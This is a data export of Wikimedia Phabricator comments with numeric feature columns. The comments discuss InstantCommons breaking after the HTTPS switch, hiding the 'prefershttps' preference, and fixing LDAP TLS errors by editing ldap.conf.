for upload — seeSCREEN_NAME's commit (still under review): URL

Note that this User-Agent ""fix"" is really a workaround and will need to be corrected in the future. Suggestions on how long to wait for third-party users to fix their installation (and how to communicate the upcoming breakage) are very much welcome (adding #Release-Engineering to the loop)."
475630,InstantCommons broken by switch to HTTPS,"@Faidon, looks fine to me. Tested on an 1.18 wiki I had at hand and it works. Agent string is unchanged at least back until MW 1.10 (did not bother to check further).

As Bawolff pointed out on IRC, upload.wikimedia.org should get the same exception if it gets switched to HTTPS-only, or otherwise we need to make sure Commons returns HTTPS file/thumbnail URLs when accessed over HTTP. That's not currently the case:
```
$ curl -sA 'MediaWiki/test' 'http://commons.wikimedia.org/w/api.php?action=query&format=json&prop=imageinfo&iiprop=url&titles=File:Example.png' | jq '.query.pages[].imageinfo[0].url'
""http://upload.wikimedia.org/wikipedia/commons/7/70/Example.png""
```",,,1434469730,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,3.0,0.0,9.0,14.0,0.0,2.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,16.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,3.8191489361702127,0.8191489361702128,"SCREEN_NAME, looks fine to me. Tested on an 1.18 wiki I had at hand and it works. Agent string is unchanged at least back until MW 1.10 (did not bother to check further).

As Bawolff pointed out on IRC, upload.wikimedia.org should get the same exception if it gets switched to HTTPS-only, or otherwise we need to make sure Commons returns HTTPS file/thumbnail URLs when accessed over HTTP. That's not currently the case:
``CODE``"
475438,InstantCommons broken by switch to HTTPS,"We just pushed a fix (56d9dde47f28ad3098659d0e5275c40533c512f3) where the redirect for HTTPS is reinstated, but with an exemption to User-Agents of ""^MediaWiki/"". This should be enough for both protecting Commons eyeballs & not breaking InstantCommons. Feedback is appreciated!",,,1434456630,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,2.0,4.0,11.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,9.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,5.127659574468085,0.9148936170212766,"We just pushed a fix (56d9dde47f28ad3098659d0e5275c40533c512f3) where the redirect for HTTPS is reinstated, but with an exemption to User-Agents of ""^MediaWiki/"". This should be enough for both protecting Commons eyeballs & not breaking InstantCommons. Feedback is appreciated!"
475222,InstantCommons broken by switch to HTTPS,"Other potential issue, php on windows has a reputation for not having all the needed root certs. Not sure if that's really an issue or not.",,,1434429244,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,3.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.8,0.9,"Other potential issue, php on windows has a reputation for not having all the needed root certs. Not sure if that's really an issue or not."
475160,InstantCommons broken by switch to HTTPS,"Backports: https://gerrit.wikimedia.org/r/#/q/Ie0b4ec179b9ccd13015c9bcbfa5c9917ff26de36,n,z",,,1434413817,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Backports: URL
475139,InstantCommons broken by switch to HTTPS,">>! In T102566#1367953, @BBlack wrote:
> We fixed this for the short term by reverting the HTTPS redirects for commonswiki

For the record, that was https://gerrit.wikimedia.org/r/#/c/218536/.",,,1434412327,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,36.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,"QUOTE
QUOTE

For the record, that was URL"
475135,InstantCommons broken by switch to HTTPS,"We fixed this for the short term by reverting the HTTPS redirects for commonswiki, since this was a surprise breakage.  In the medium term, we still plan to redirect this eventually, though.",,,1434412033,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,16.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,8.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.184210526315789,0.7631578947368421,"We fixed this for the short term by reverting the HTTPS redirects for commonswiki, since this was a surprise breakage.  In the medium term, we still plan to redirect this eventually, though."
475124,InstantCommons broken by switch to HTTPS,">>! In T102566#1367811, @Bawolff wrote:
> wmit is broken for me when i tested.

Indeed :( It simply uses a lot of local copies.",,,1434410879,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9333333333333333,"QUOTE
QUOTE

Indeed :( It simply uses a lot of local copies."
475109,InstantCommons broken by switch to HTTPS,wmit is broken for me when i tested.,,,1434409979,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,wmit is broken for me when i tested.
475108,InstantCommons broken by switch to HTTPS,https://gerrit.wikimedia.org/r/#/c/218531/ should fix this for master branch.,,,1434409972,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL should fix this for master branch.
475128,InstantCommons broken by switch to HTTPS,"Caused by Wikimedia operations, affects a LOT of non-Wikimedia sites :|",,,1434411270,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.9285714285714286,"Caused by Wikimedia operations, affects a LOT of non-Wikimedia sites :|"
475107,InstantCommons broken by switch to HTTPS,"Caused by Wikimedia operations, effects a LOT of non-Wikimedia sites :|",,,1434409947,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.9285714285714286,"Caused by Wikimedia operations, effects a LOT of non-Wikimedia sites :|"
102245,"Hide ""prefershttps"" preference on all HSTS domains","Per ccc6aa122bcd39e0f4f29bbcfce4edf0abfe8f2b . 
17.25 <@paravoid> https://gerrit.wikimedia.org/r/217844 will probably get merged today
",High,80.0,1434122900,1434124531.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-eh77rgyf36a2wa4m56ab,task_description,resolved,True,c3,2,True,False,True,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,6.533333333333333,0.9333333333333333,"Per ccc6aa122bcd39e0f4f29bbcfce4edf0abfe8f2b . 
17.25 <@paravoid> GERRIT_URL will probably get merged today
"
473701,"Hide ""prefershttps"" preference on all HSTS domains","Change 217856 merged by jenkins-bot:
Hide ""prefershttps"" preference on all wikis

[[https://gerrit.wikimedia.org/r/217856]]",,,1434124242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eh77rgyf36a2wa4m56ab,task_subcomment,,True,c3,2,False,,,-3,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.782608695652174,0.8695652173913043,"Change 217856 merged by jenkins-bot:
Hide ""prefershttps"" preference on all wikis

[[GERRIT_URL]]"
473698,"Hide ""prefershttps"" preference on all HSTS domains","Change 217856 had a related patch set uploaded (by Faidon Liambotis):
Hide ""prefershttps"" preference from everywhere

[[https://gerrit.wikimedia.org/r/217856]]
",,,1434124098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eh77rgyf36a2wa4m56ab,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.25,0.8571428571428571,"Change 217856 had a related patch set uploaded (by Faidon Liambotis):
Hide ""prefershttps"" preference from everywhere

[[GERRIT_URL]]
"
101377,LDAP TLS failing on some instances due to inconsistent state,"LDAP TLS failing in some hosts with error: 

```sudo: ldap_start_tls_s(): Connect error\nphab-pup.eqiad.wmflabs```

This is output of `sudo hostname -f`. ",High,80.0,1433412543,1433515267.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-2kpajlfuxdu2t5diyrum,task_description,resolved,True,c3,1,True,False,True,-4,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.764705882352941,0.8823529411764706,"LDAP TLS failing in some hosts with error: 

``CODE`CODEsudo hostname -f`. "
469905,LDAP TLS failing on some instances due to inconsistent state,"FWIW ran into this on filippo-test-jessie, fixed as suggested

```
filippo@filippo-test-jessie:~$ sudo -i
sudo: ldap_start_tls_s(): Connect error
root@filippo-test-jessie:~# sed -i 's/GlobalSign_CA.pem/ca-certificates.crt/' /etc/ldap/ldap.conf
root@filippo-test-jessie:~# logout
filippo@filippo-test-jessie:~$ sudo -i
root@filippo-test-jessie:~# 
```",,,1433517410,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15,0.8,"FWIW ran into this on filippo-test-jessie, fixed as suggested

``CODE``"
469883,LDAP TLS failing on some instances due to inconsistent state,"Anyway, this is done now.",,,1433515267,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Anyway, this is done now."
469450,LDAP TLS failing on some instances due to inconsistent state,"Salt issues possibly, also puppet might've set them back if it was in an inconsistent state?",,,1433458661,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,4.052631578947368,1.0,"Salt issues possibly, also puppet might've set them back if it was in an inconsistent state?"
469449,LDAP TLS failing on some instances due to inconsistent state,"FWIW, I ran a sed yestrerday via salt across the Labs fleet (in fact, the same salt command as you did). I don't know why it wouldn't apply everywhere, salt issues possibly?",,,1433458441,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,10.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4634146341463414,0.8292682926829268,"FWIW, I ran a sed yestrerday via salt across the Labs fleet (in fact, the same salt command as you did). I don't know why it wouldn't apply everywhere, salt issues possibly?"
469437,LDAP TLS failing on some instances due to inconsistent state,"I salted the sed on most machines earlier, and they all seem ok now.",,,1433457975,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.4375,1.0,"I salted the sed on most machines earlier, and they all seem ok now."
469014,LDAP TLS failing on some instances due to inconsistent state,"T78466 for long term salt fix, allows chained salt masters so virt1000 can reach everything",,,1433428767,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8125,0.9375,"T78466 for long term salt fix, allows chained salt masters so virt1000 can reach everything"
469012,LDAP TLS failing on some instances due to inconsistent state,`sudo sed -i 's/GlobalSign_CA.pem/ca-certificates.crt/' /etc/ldap/ldap.conf` works too,,,1433428703,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,CODE works too
469008,LDAP TLS failing on some instances due to inconsistent state,"beta and integration have their own salt masters:

deployment-salt.eqiad.wmflabs
integration-saltmaster.eqiad.wmflabs

Cant sudo on them to run salt though :-}",,,1433428509,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.9166666666666666,"beta and integration have their own salt masters:

deployment-salt.eqiad.wmflabs
integration-saltmaster.eqiad.wmflabs

Cant sudo on them to run salt though :-}"
